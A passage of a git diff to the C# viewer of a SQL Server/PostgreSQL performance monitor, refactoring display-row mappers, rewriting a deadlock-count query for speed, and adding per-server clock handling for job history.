-        return (int)(freeSpacePct * 5);
-    }
-
-    /// <summary>
-    /// The overall score: CPU 40%, memory 30%, storage 30%. A null <paramref name="cpu"/> means the window held no CPU
-    /// sample: there is nothing to score, and scoring the 0 it reads as would be a full 100 made from nothing. The term is
-    /// then left out, not scored as zero and not scored as a default, and memory and storage keep their weights over their
-    /// own total (30:30 over 60).
-    /// </summary>
-    public static int Overall(int? cpu, int memory, int storage)
-    {
-        if (cpu is int cpuScore)
-            return (int)(cpuScore * 0.40 + memory * 0.30 + storage * 0.30);
-
-        /* integer weights, so no floating-point error can truncate 100 to 99 */
-        return (memory * 30 + storage * 30) / 60;
-    }
-
-    public static string ScoreColor(int score) => score switch
-    {
-        >= 80 => "#27AE60",
-        >= 60 => "#F39C12",
-        _ => "#E74C3C"
+        DatabaseName = d.DatabaseName,
+        TotalCpuMs = d.TotalCpuMs,
+        AvgCpuMsPerExec = d.AvgCpuMsPerExec,
+        TotalReads = d.TotalReads,
+        AvgReadsPerExec = d.AvgReadsPerExec,
+        Executions = d.Executions,
+        QueryPreview = d.QueryPreview,
+        FullQueryText = d.FullQueryText,
+        QueryPlanXml = d.QueryPlanXml
     };
 }
 
@@ -657,6 +799,29 @@ public sealed class HighImpactQueryRow
     /// Actual Plan"; the Expensive Queries rows (grouped by text, no query_hash) lack it and fall back to disabled.</summary>
     public bool CanGetActualPlan => !string.IsNullOrEmpty(QueryHash);
 
+    /// <summary>Maps the storage read's plain result onto the display row.</summary>
+    public static HighImpactQueryRow From(HighImpactQuery q) => new()
+    {
+        QueryHash = q.QueryHash,
+        DatabaseName = q.DatabaseName,
+        TotalExecutions = q.TotalExecutions,
+        TotalCpuMs = q.TotalCpuMs,
+        TotalDurationMs = q.TotalDurationMs,
+        TotalReads = q.TotalReads,
+        TotalWrites = q.TotalWrites,
+        TotalMemoryMb = q.TotalMemoryMb,
+        CpuShare = q.CpuShare,
+        DurationShare = q.DurationShare,
+        ReadsShare = q.ReadsShare,
+        WritesShare = q.WritesShare,
+        MemoryShare = q.MemoryShare,
+        ExecutionsShare = q.ExecutionsShare,
+        ImpactScore = q.ImpactScore,
+        SampleQueryText = q.SampleQueryText,
+        FullQueryText = q.FullQueryText,
+        QueryPlanXml = q.QueryPlanXml
+    };
+
     public string ImpactScoreColor => ImpactScore switch
     {
         >= 80 => "#E74C3C",
@@ -665,73 +830,6 @@ public sealed class HighImpactQueryRow
     };
 }
 
-/// <summary>
-/// Identifies top-N queries per resource dimension, computes PERCENT_RANK and share percentages, and
-/// returns the "interesting" set sorted by impact score. Copied verbatim from Lite's HighImpactScorer.
-/// </summary>
-public static class HighImpactScorer
-{
-    public static List<HighImpactQueryRow> Score(List<HighImpactQueryRow> allRows, int topN = 10)
-    {
-        if (allRows.Count == 0) return allRows;
-
-        var interesting = new HashSet<string>();
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalCpuMs).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalDurationMs).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalReads).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalWrites).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalMemoryMb).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-        foreach (var hash in allRows.OrderByDescending(r => r.TotalExecutions).Take(topN).Select(r => r.QueryHash)) interesting.Add(hash);
-
-        var filtered = allRows.Where(r => interesting.Contains(r.QueryHash)).ToList();
-
-        if (filtered.Count == 0) return filtered;
-
-        var cpuValues = filtered.Select(r => r.TotalCpuMs).OrderBy(v => v).ToList();
-        var durationValues = filtered.Select(r => r.TotalDurationMs).OrderBy(v => v).ToList();
-        var readsValues = filtered.Select(r => (decimal)r.TotalReads).OrderBy(v => v).ToList();
-        var writesValues = filtered.Select(r => (decimal)r.TotalWrites).OrderBy(v => v).ToList();
-        var memoryValues = filtered.Select(r => r.TotalMemoryMb).OrderBy(v => v).ToList();
-        var execValues = filtered.Select(r => (decimal)r.TotalExecutions).OrderBy(v => v).ToList();
-
-        var totalCpu = filtered.Sum(r => r.TotalCpuMs);
-        var totalDuration = filtered.Sum(r => r.TotalDurationMs);
-        var totalReads = filtered.Sum(r => (decimal)r.TotalReads);
-        var totalWrites = filtered.Sum(r => (decimal)r.TotalWrites);
-        var totalMemory = filtered.Sum(r => r.TotalMemoryMb);
-        var totalExecs = filtered.Sum(r => (decimal)r.TotalExecutions);
-
-        foreach (var row in filtered)
-        {
-            var cpuPctl = PercentRank(cpuValues, row.TotalCpuMs);
-            var durationPctl = PercentRank(durationValues, row.TotalDurationMs);
-            var readsPctl = PercentRank(readsValues, (decimal)row.TotalReads);
-            var writesPctl = PercentRank(writesValues, (decimal)row.TotalWrites);
-            var memoryPctl = PercentRank(memoryValues, row.TotalMemoryMb);
-            var execsPctl = PercentRank(execValues, (decimal)row.TotalExecutions);
-
-            row.CpuShare = totalCpu > 0 ? Math.Round(100m * row.TotalCpuMs / totalCpu, 1) : 0;
-            row.DurationShare = totalDuration > 0 ? Math.Round(100m * row.TotalDurationMs / totalDuration, 1) : 0;
-            row.ReadsShare = totalReads > 0 ? Math.Round(100m * row.TotalReads / totalReads, 1) : 0;
-            row.WritesShare = totalWrites > 0 ? Math.Round(100m * row.TotalWrites / totalWrites, 1) : 0;
-            row.MemoryShare = totalMemory > 0 ? Math.Round(100m * row.TotalMemoryMb / totalMemory, 1) : 0;
-            row.ExecutionsShare = totalExecs > 0 ? Math.Round(100m * row.TotalExecutions / totalExecs, 1) : 0;
-
-            var pctlSum = cpuPctl + durationPctl + readsPctl + writesPctl + memoryPctl + execsPctl;
-            row.ImpactScore = (int)(pctlSum / 6m * 100m);
-        }
-
-        return filtered.OrderByDescending(r => r.ImpactScore).ToList();
-    }
-
-    internal static decimal PercentRank(List<decimal> sortedValues, decimal value)
-    {
-        if (sortedValues.Count <= 1) return 0;
-        int rank = sortedValues.Count(v => v < value);
-        return Math.Min(1.0m, (decimal)rank / (sortedValues.Count - 1));
-    }
-}
-
 /// <summary>Per-table size + growth for the Storage Growth object drill (indexes rolled up).</summary>
 public sealed class ObjectSizeGrowthRow
 {
@@ -746,6 +844,20 @@ public sealed class ObjectSizeGrowthRow
     public decimal? Growth30dMb { get; set; }
     public decimal? DailyGrowthRateMb { get; set; }
     public decimal? GrowthPct30d { get; set; }
+
+    public static ObjectSizeGrowthRow From(PerformanceMonitor.Darling.Storage.FinOps.ObjectSizeGrowthDto d, string databaseName) => new()
+    {
+        DatabaseName = databaseName,
+        SchemaName = d.SchemaName,
+        TableName = d.TableName,
+        CurrentReservedMb = d.CurrentReservedMb,
+        CurrentUsedMb = d.CurrentUsedMb,
+        TotalRows = d.TotalRows,
+        IndexCount = d.IndexCount,
+        Growth30dMb = d.Growth30dMb,
+        DailyGrowthRateMb = d.DailyGrowthRateMb,
+        GrowthPct30d = d.GrowthPct30d
+    };
 }
 
 /// <summary>Per-index usage with unused/write-only classification (Storage Growth index drill).
@@ -769,6 +881,33 @@ public sealed class IndexUsageRow
     public long UserUpdates { get; set; }
     public DateTime? LastUserAccess { get; set; }
     public string Classification { get; set; } = "";
+
+    /// <summary>The snapshot these figures came from, naive UTC (kind Utc); the Collected column sorts by it.</summary>
+    public DateTime CollectionTimeUtc { get; set; }
+
+    /// <summary>When that snapshot was collected, to the second, in the display zone: the Collected column's text.
+    /// The index drill reads the database's latest snapshot with no time bound, so this is how old the figures can be.</summary>
+    public string CollectionTime => PgDisplay.SnapshotTime(CollectionTimeUtc);
+
+    public static IndexUsageRow From(PerformanceMonitor.Darling.Storage.FinOps.IndexUsageDto d) => new()
+    {
+        DatabaseName = d.DatabaseName,
+        SchemaName = d.SchemaName,
+        TableName = d.TableName,
+        IndexName = d.IndexName,
+        IndexTypeDesc = d.IndexTypeDesc,
+        IndexId = d.IndexId,
+        ReservedMb = d.ReservedMb,
+        TotalRows = d.TotalRows,
+        UserSeeks = d.UserSeeks,
+        UserScans = d.UserScans,
+        UserLookups = d.UserLookups,
+        TotalReads = d.TotalReads,
+        UserUpdates = d.UserUpdates,
+        LastUserAccess = d.LastUserAccess,
+        Classification = d.Classification,
+        CollectionTimeUtc = d.CollectionTime
+    };
 }
 
 /// <summary>Per-index locking/latch contention (Locking &amp; Contention sub-tab).</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Findings.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Findings.cs
index 9f5b5cb037..877a79085b 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Findings.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Findings.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Text;
 using System.Text.Json;
+using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Analysis;
@@ -126,6 +127,14 @@ FROM analysis_state
         }
     }
 
+    /// <summary>
+    /// #5558: the shared one-sentence note when the monitored node holds only a secondary copy of any database in an
+    /// availability group right now (their per-database findings are the primary's), else null. Read from the store's own
+    /// AG snapshots; any read failure is "no note", never an error on the tab.
+    /// </summary>
+    public Task<string?> GetSecondaryReplicaNoteAsync(int serverId, CancellationToken cancellationToken = default) =>
+        PgSecondaryReplicaScope.NoteAsync(_dataSource, serverId, logger: null, cancellationToken);
+
     /// <summary>
     /// The latest analysis run's findings for one server, mapped to display rows. Reads
     /// through the shared <see cref="PgFindingStore"/> (its <c>GetLatestFindingsSql</c> —
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs
index aa572bedcf..3b799881e8 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Fleet.cs
@@ -67,6 +67,20 @@ public sealed partial class ViewerDataService
     /// <c>SUM(deadlocks)</c>: the column is a lifetime counter repeated in every sample. $1 window start,
     /// $2 window end, $3 the <see cref="EventWindowFloor"/> for $1 (all naive UTC).
     ///
+    /// <para>The PostgreSQL arm orders only the pairs that moved (#5526): the service's
+    /// <c>DarlingFleetReader.FleetPgDeadlockSql</c> carries the reasoning and the measurement, and this is the
+    /// same shape keeping only the total. On a store with 50 PostgreSQL targets one <c>LAG</c> window over every
+    /// server's rows took 6.7 to 6.8 s for 7 days and this form 0.64 to 0.80 s; the one caller here asks for the
+    /// last hour. A <c>(server_id, database_name)</c> pair whose
+    /// counter never takes two different values inside the window adds nothing to the sum of positive
+    /// differences: every difference between two present samples is 0, and one touching a NULL is NULL. So one
+    /// unordered aggregate keeps only the pairs with <c>min(deadlocks) &lt;&gt; max(deadlocks)</c> (a NULL
+    /// counter does not change that: <c>min</c> and <c>max</c> skip NULLs, and a column that is NULL throughout
+    /// has neither) and the ordered <c>LAG</c> runs one server at a time over those pairs only. Unlike the
+    /// service's read, this one needs no "a counter in every row" half of the rule, because it returns only
+    /// the total, not the number of differences taken. The totals are unchanged: the same <c>LAG</c> per
+    /// database series, the same first-row NULL, the same clamp at zero.</para>
+    ///
     /// <para>$3 bounds the three event-table scans on the partition column (#3895), the bound the service's
     /// fleet reader carries on the same counts: bounded on <c>event_time</c> alone they open every retained
     /// chunk to count the last hour — 69.8 ms on DARLING01, 1.1 ms with it. The PostgreSQL arm is already
@@ -111,14 +125,39 @@ FROM v_deadlocks
     )
     +
     (
-        SELECT COALESCE(SUM(GREATEST(sampled.raw_delta, 0)), 0)
+        SELECT COALESCE(SUM(per_server.cnt), 0)
         FROM
         (
-            SELECT deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time) AS raw_delta
-            FROM pg_database_stats
-            WHERE collection_time >= $1
-            AND   collection_time <= $2
-        ) AS sampled
+            SELECT
+                server_id,
+                array_agg(database_name) FILTER (WHERE database_name IS NOT NULL) AS ordered_names,
+                coalesce(bool_or(database_name IS NULL), false) AS ordered_null_name
+            FROM
+            (
+                SELECT
+                    server_id,
+                    database_name
+                FROM pg_database_stats
+                WHERE collection_time >= $1
+                AND   collection_time <= $2
+                GROUP BY server_id, database_name
+                HAVING min(deadlocks) <> max(deadlocks)
+            ) AS moved
+            GROUP BY server_id
+        ) AS s
+        CROSS JOIN LATERAL
+        (
+            SELECT COALESCE(SUM(GREATEST(sampled.raw_delta, 0)), 0) AS cnt
+            FROM
+            (
+                SELECT deadlocks - LAG(deadlocks) OVER (PARTITION BY database_name ORDER BY collection_time) AS raw_delta
+                FROM pg_database_stats
+                WHERE server_id = s.server_id
+                AND   collection_time >= $1
+                AND   collection_time <= $2
+                AND   (database_name = ANY (s.ordered_names) OR (s.ordered_null_name AND database_name IS NULL))
+            ) AS sampled
+        ) AS per_server
     ) AS total_deadlocks";
 
     /// <summary>
@@ -188,6 +227,11 @@ public sealed class FleetRankedServer
 
     public int ServerId { get; init; }
     public string DisplayName { get; init; } = "";
+
+    /// <summary>What a screen reader announces for a Needs Attention row: UI Automation names a list row by its item's text, and the
+    /// default text is the type name ("PerformanceMonitor.Darling.Viewer.FleetRankedServer").</summary>
+    public override string ToString() => DisplayName;
+
     public FleetHealthBand Band { get; init; }
 
     /// <summary>The composite worst-first ordering score (band rank + severity magnitude + incident tiebreak).</summary>
@@ -325,10 +369,19 @@ public sealed class FleetRollup
         ? "All 1 server healthy"
         : $"All {TotalServers} servers healthy";
 
-    /// <summary>"Monitoring N servers" subtitle for the fleet header.</summary>
-    public string MonitoringText => TotalServers == 1
-        ? "Monitoring 1 server"
-        : $"Monitoring {TotalServers} servers";
+    /// <summary>The registered fleet size when this roll-up counts only the servers the Overview search leaves
+    /// (<see cref="OverviewCardView.BuildRollup"/>); null when it counts the whole fleet.</summary>
+    public int? FilteredOfTotal { get; internal set; }
+
+    /// <summary>"Monitoring N servers" subtitle for the fleet header; "Monitoring N of M servers" while the
+    /// Overview search narrows it to N of the M registered.</summary>
+    public string MonitoringText => FilteredOfTotal.HasValue
+        ? FilteredOfTotal.Value == 1
+            ? $"Monitoring {TotalServers} of 1 server"
+            : $"Monitoring {TotalServers} of {FilteredOfTotal.Value} servers"
+        : TotalServers == 1
+            ? "Monitoring 1 server"
+            : $"Monitoring {TotalServers} servers";
 
     /// <summary>"N server(s)" for the collection-failures total line.</summary>
     public string CollectionFailuresText => ServersWithCollectionFailures == 1
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs
index c45505ba3b..ac80f93508 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemHistory.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
@@ -294,6 +295,57 @@ public async Task<List<ViewerProcedureStatsHistoryRow>> GetProcedureStatsHistory
         return rows;
     }
 
+    /// <summary>
+    /// #5449: the collector's SUCCESS runs for <c>procedure_stats</c> over a window, ascending. The per-procedure history chart
+    /// reads them to plot a 0 for each run that stored nothing for the procedure (the collector keeps no row for a procedure
+    /// that did no work in a cycle). The same <c>collection_log</c> runs the bucketed trend's <c>ProcedureCollectionsCte</c> reads; it uses
+    /// <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>. The log time and the run's logged
+    /// <c>duration_ms</c> come back together: the log row is written after the run, so the 0 for a quiet run is placed at the log
+    /// time minus the duration (<see cref="ViewerProcedureHistoryIdleRuns.IdleRunTimes"/>). $1 server_id, $2 window start,
+    /// $3 window end (naive UTC).
+    /// </summary>
+    public const string ProcStatsRunTimesSql = """
+        SELECT collection_time, duration_ms
+        FROM collect.collection_log
+        WHERE server_id = $1
+        AND   collector_name = 'procedure_stats'
+        AND   status = 'SUCCESS'
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        ORDER BY collection_time
+        """;
+
+    /// <summary>
+    /// #5449: the rows the per-procedure history CHART plots: <paramref name="history"/> plus a zero row at each collector run
+    /// that stored nothing for this procedure between its first and last stored row (<see cref="ViewerProcedureHistoryIdleRuns"/>).
+    /// An older store kept a zero row for a quiet minute, so without these a newer store's chart draws a line across it. The
+    /// grid keeps listing the stored rows.
+    /// </summary>
+    public async Task<List<ViewerProcedureStatsHistoryRow>> GetProcedureStatsHistoryChartRowsAsync(
+        int serverId, IReadOnlyList<ViewerProcedureStatsHistoryRow> history, CancellationToken cancellationToken = default)
+    {
+        if (history.Count == 0)
+        {
+            return new List<ViewerProcedureStatsHistoryRow>();
+        }
+
+        var ordered = history.OrderBy(r => r.CollectionTime).ToList();
+        var runs = new List<ViewerProcedureHistoryIdleRuns.Run>();
+        await using var command = _dataSource.CreateCommand(ProcStatsRunTimesSql);
+        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(ordered[0].CollectionTime, DateTimeKind.Unspecified) });
+        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(ordered[^1].CollectionTime, DateTimeKind.Unspecified) });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            runs.Add(new ViewerProcedureHistoryIdleRuns.Run(reader.GetDateTime(0), reader.IsDBNull(1) ? 0 : reader.GetInt32(1)));
+        }
+
+        var idle = ViewerProcedureHistoryIdleRuns.IdleRunTimes(ordered.Select(r => r.CollectionTime).ToList(), runs);
+        return ViewerProcedureHistoryIdleRuns.ChartRows(ordered, idle);
+    }
+
     // ══════════════════════════════ Query Store history ══════════════════════════════
 
     /// <summary>
@@ -311,6 +363,13 @@ public async Task<List<ViewerProcedureStatsHistoryRow>> GetProcedureStatsHistory
     /// already projected so a reader can tell those rows apart. Collapsing them would change what this
     /// drilldown displays, which is a product call rather than an arithmetic fix — left to #1841 tier 2 along
     /// with storing the real interval identity. Mirrors Lite's GetQueryStoreHistoryAsync.</para>
+    ///
+    /// <para>The window that shows it did add these rows up, though: its summary's Total Executions summed
+    /// execution_count over the list, which counts an interval collected N times about N times (#5306). A
+    /// total over this list takes <see cref="ViewerQueryStoreHistoryRow.TotalExecutions"/>, which keeps the
+    /// latest snapshot of each interval first. That is why the projection ends with runtime_stats_interval_id and
+    /// replica_role: they are the rest of the identity the aggregate reads dedup on, and are not shown in the grid.
+    /// The grid itself still lists every snapshot.</para>
     /// </summary>
     public const string QueryStoreHistorySql = """
         SELECT
@@ -363,7 +422,9 @@ public async Task<List<ViewerProcedureStatsHistoryRow>> GetProcedureStatsHistory
             plan_forcing_type,
             compatibility_level,
             query_hash,
-            query_plan_hash
+            query_plan_hash,
+            runtime_stats_interval_id,
+            replica_role
         FROM query_store_stats
         WHERE server_id = $1
         AND   database_name = $2
@@ -443,6 +504,8 @@ public async Task<List<ViewerQueryStoreHistoryRow>> GetQueryStoreHistoryAsync(
                 CompatibilityLevel = ReadInt(reader, 47),
                 QueryHash = reader.IsDBNull(48) ? "" : reader.GetString(48),
                 QueryPlanHash = reader.IsDBNull(49) ? "" : reader.GetString(49),
+                RuntimeStatsIntervalId = reader.IsDBNull(50) ? null : ReadLong(reader, 50),
+                ReplicaRole = reader.IsDBNull(51) ? null : reader.GetString(51),
             });
         }
 
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemTimeline.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemTimeline.cs
index 28a1811d6d..b60ff5914f 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemTimeline.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ItemTimeline.cs
@@ -21,8 +21,8 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// read until #1921, when it gained a dedicated <c>GetQueryStoreItemTimelineAsync</c> for the same reason this
 /// file exists — a series drawn over the bars needs the bars' axis and dedup, which a raw per-collection grid
 /// read does not have. The two apps now carry the same structure for it. One deviation from Lite: Darling's
-/// <c>delta_*</c> columns are already per-collection-cycle deltas (Lite's history rows carry cumulative
-/// values it diffs row-over-row), so the per-interval magnitude is read directly — no C# differencing. Query
+/// <c>delta_*</c> columns are already per-collection-cycle deltas (Lite's history rows carry the same
+/// per-collection deltas, and since #5449 its overlay plots them as they are), so the per-interval magnitude is read directly — no C# differencing. Query
 /// Store keeps its per-execution averages, scaled by <c>execution_count</c> to a per-interval total the way
 /// the Query Store slicer aggregate does.
 /// </summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs
index ab47e357e4..6279b12ea6 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.JobHistory.cs
@@ -58,6 +58,46 @@ public sealed class ViewerJobHistoryRow
     public DateTime? LastSuccessfulRunUtc { get; init; }
     public bool IsLongRunning { get; init; }
 
+    /// <summary>The viewer row for a store row (<see cref="DarlingJobHistoryRow"/>); the times are already naive UTC.</summary>
+    public static ViewerJobHistoryRow From(DarlingJobHistoryRow dto) => From(dto, null);
+
+    /// <summary><see cref="From(DarlingJobHistoryRow)"/> stamped with the row's own server's clock (D5 of the final walk).</summary>
+    public static ViewerJobHistoryRow From(DarlingJobHistoryRow dto, ServerClock? clock)
+    {
+        ArgumentNullException.ThrowIfNull(dto);
+        return new()
+        {
+            Clock = clock,
+            ServerId = dto.ServerId,
+            ServerName = dto.ServerName,
+            InstanceId = dto.InstanceId,
+            JobId = dto.JobId,
+            JobName = dto.JobName,
+            JobEnabled = dto.JobEnabled,
+            CategoryName = dto.CategoryName,
+            StepId = dto.StepId,
+            StepName = dto.StepName,
+            RunStatus = dto.RunStatus,
+            RunStatusDesc = dto.RunStatusDesc,
+            RunDateTimeUtc = dto.RunDateTimeUtc,
+            RunDurationSeconds = dto.RunDurationSeconds,
+            RetriesAttempted = dto.RetriesAttempted,
+            Message = dto.Message,
+            LastSuccessfulRunUtc = dto.LastSuccessfulRunUtc,
+            IsLongRunning = dto.IsLongRunning,
+        };
+    }
+
+    /// <summary>The store row for a viewer row, the inverse of <see cref="From"/>.</summary>
+    internal static DarlingJobHistoryRow ToDto(ViewerJobHistoryRow row)
+    {
+        ArgumentNullException.ThrowIfNull(row);
+        return new DarlingJobHistoryRow(
+            row.ServerId, row.ServerName, row.InstanceId, row.JobId, row.JobName, row.JobEnabled, row.CategoryName,
+            row.StepId, row.StepName, row.RunStatus, row.RunStatusDesc, row.RunDateTimeUtc, row.RunDurationSeconds,
+            row.RetriesAttempted, row.Message, row.LastSuccessfulRunUtc, row.IsLongRunning);
+    }
+
     /// <summary>
     /// <see cref="RunDateTimeUtc"/> in the current display mode, as the plain wall time and never with the repeated-hour
     /// UTC offset that <see cref="ViewerTimeHelper.FormatForDisplay(DateTime, string)"/> adds (#4766). That offset is only
@@ -67,12 +107,22 @@ public sealed class ViewerJobHistoryRow
     /// the row's own wall clock said.
     /// </summary>
     public string RunTimeLocal => RunDateTimeUtc is { } t
-        ? ViewerTimeHelper.ForDisplay(t).ToString("yyyy-MM-dd HH:mm:ss")
+        ? ForRowDisplay(t).ToString("yyyy-MM-dd HH:mm:ss")
         : "";
 
+    /// <summary>This row's own server's clock (its time zone where one is known, else its UTC offset; the viewer
+    /// machine's offset while none is collected), stamped by <see cref="ViewerDataService.GetJobHistoryAsync"/> from the
+    /// fleet's clocks, as Alert History's rows are (D5 of the final walk). Server mode converts on it, so a SQL Server's
+    /// jobs read in that server's hour whichever server tab is open, and with none open they no longer read in the
+    /// machine's. Null (a row built without one) falls back to the active server's clock.</summary>
+    public ServerClock? Clock { get; init; }
+
+    private DateTime ForRowDisplay(DateTime naiveUtc) =>
+        ViewerTimeHelper.ConvertToDisplay(naiveUtc, ViewerTimeHelper.CurrentDisplayMode, Clock ?? ViewerTimeHelper.ActiveServerClock);
+
     /// <summary><see cref="LastSuccessfulRunUtc"/> as the plain wall time, for the reason <see cref="RunTimeLocal"/> gives.</summary>
     public string LastSuccessfulRunLocal => LastSuccessfulRunUtc is { } t
-        ? ViewerTimeHelper.ForDisplay(t).ToString("yyyy-MM-dd HH:mm:ss")
+        ? ForRowDisplay(t).ToString("yyyy-MM-dd HH:mm:ss")
         : "Never";
 
     public string DurationFormatted => FormatDuration(RunDurationSeconds);
@@ -122,30 +172,27 @@ public sealed partial class ViewerDataService
     /// </para>
     /// </summary>
     public async Task<List<ViewerJobHistoryRow>> GetJobHistoryAsync(
-        DateTime sinceUtc, int? serverId = null, int limit = 2000, CancellationToken cancellationToken = default)
+        DateTime sinceUtc, int? serverId = null, int limit = 2000, DateTime? untilUtc = null, CancellationToken cancellationToken = default)
     {
-        var sql = BuildJobHistorySql(serverId.HasValue);
-        var clocks = await GetServerClocksAsync(serverId, cancellationToken);
-
-        var rows = new List<ViewerJobHistoryRow>();
-
-        await using var command = _dataSource.CreateCommand(sql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified) });
-        if (serverId.HasValue)
+        /* #5562 R6: a finished range's end goes into the read (the shared reader's UntilUtc), so the SQL bounds the runs before the
+           per-server top-N and the row cap count them. A window that ended in the past on a busy fleet keeps every run inside it, not
+           the newest N of everything since the start. The reader's end is inclusive; the picker's end is exclusive (a run at the next
+           day's start is not in "yesterday"), so it is taken one microsecond (the store's precision) earlier. */
+        var filter = untilUtc is { } until ? new JobHistoryFilter(UntilUtc: until.AddTicks(-TimeSpan.TicksPerMicrosecond)) : null;
+        var dtos = await DarlingJobHistoryReader.GetAsync(
+            _dataSource, sinceUtc, serverId, limit, ViewerCommandDeadlines.CurrentInteractiveReadSeconds, filter, cancellationToken);
+
+        /* D5: each row converts on its own server's clock, read from the fleet's held clocks (ServerClockCache), the way
+           Alert History's rows do, not on whichever server tab happens to be active. */
+        var clocks = await _alertClocks.GetAsync(cancellationToken);
+        var nowUtc = DateTime.UtcNow;
+        var rows = new List<ViewerJobHistoryRow>(dtos.Count);
+        foreach (var dto in dtos)
         {
-            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId.Value });
+            rows.Add(ViewerJobHistoryRow.From(dto, ViewerTimeHelper.ClockForServerOrMachine(clocks, dto.ServerId, TimeZoneInfo.Local, nowUtc)));
         }
-        command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = EventWindowFloor.For(sinceUtc) });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = limit });
 
-        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
-        while (await reader.ReadAsync(cancellationToken))
-        {
-            rows.Add(ReadJobHistoryRow(reader, clocks));
-        }
-
-        return ApplyJobHistoryWindow(rows, sinceUtc, limit);
+        return rows;
     }
 
     /// <summary>
@@ -157,28 +204,42 @@ public async Task<List<ViewerJobHistoryRow>> GetJobHistoryAsync(
     /// </summary>
     internal static List<ViewerJobHistoryRow> ApplyJobHistoryWindow(List<ViewerJobHistoryRow> rows, DateTime sinceUtc, int limit)
     {
-        var since = DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified);
-        var kept = new List<ViewerJobHistoryRow>(rows.Count);
-        foreach (var row in rows)
-        {
-            if (row.RunDateTimeUtc is { } runUtc && runUtc >= since)
-            {
-                kept.Add(row);
-            }
-        }
-
-        kept.Sort(static (a, b) =>
-        {
-            var byTime = Nullable.Compare(b.RunDateTimeUtc, a.RunDateTimeUtc);
-            return byTime != 0 ? byTime : b.InstanceId.CompareTo(a.InstanceId);
-        });
+        var kept = DarlingJobHistoryReader.ApplyWindow(rows.ConvertAll(ViewerJobHistoryRow.ToDto), sinceUtc, limit);
+        return kept.ConvertAll(ViewerJobHistoryRow.From);
+    }
 
-        if (limit >= 0 && kept.Count > limit)
+    /// <summary>
+    /// Where the job history's coverage starts for the window, through the shared probe (<see cref="DataWindowFloor"/>) over the
+    /// <c>job_history</c> collector table (#4966): the later of the server's first collection and the table's retention edge, or
+    /// its first row in the window if that is earlier. Job history is an event surface: the first collection copies the server's
+    /// msdb history, so a run's own time (the time the read windows on) can sit long before the collection that stored it, and
+    /// the caller names the earlier of this and the earliest run it shows (<see cref="ViewerEventDataStart.Of"/>). With a
+    /// <paramref name="serverId"/> the answer is that server's; with none it is the earliest coverage among the servers that
+    /// hold a row, or logged a run, in the window (the fleet scope of <see cref="DataWindowFloor.GetAsync"/>), the form the tab's
+    /// All Servers view reads. A window no longer than <see cref="DurationTrendRouting.TruncationSlack"/> can never get a coverage
+    /// note, so it starts no query for either form (<see cref="DataWindowFloor.GetForServerAsync"/> says the same for one server;
+    /// the fleet form has no such guard of its own). Null when no server in scope counts and when the window lies wholly before the
+    /// coverage.
+    /// </summary>
+    /// <param name="serverId">The server the tab shows, or null for every server.</param>
+    /// <param name="startUtc">The window's start, the one the read takes (<see cref="GetJobHistoryAsync"/>).</param>
+    /// <param name="endUtc">The window's end.</param>
+    public async Task<DateTime?> GetJobHistoryDataStartAsync(
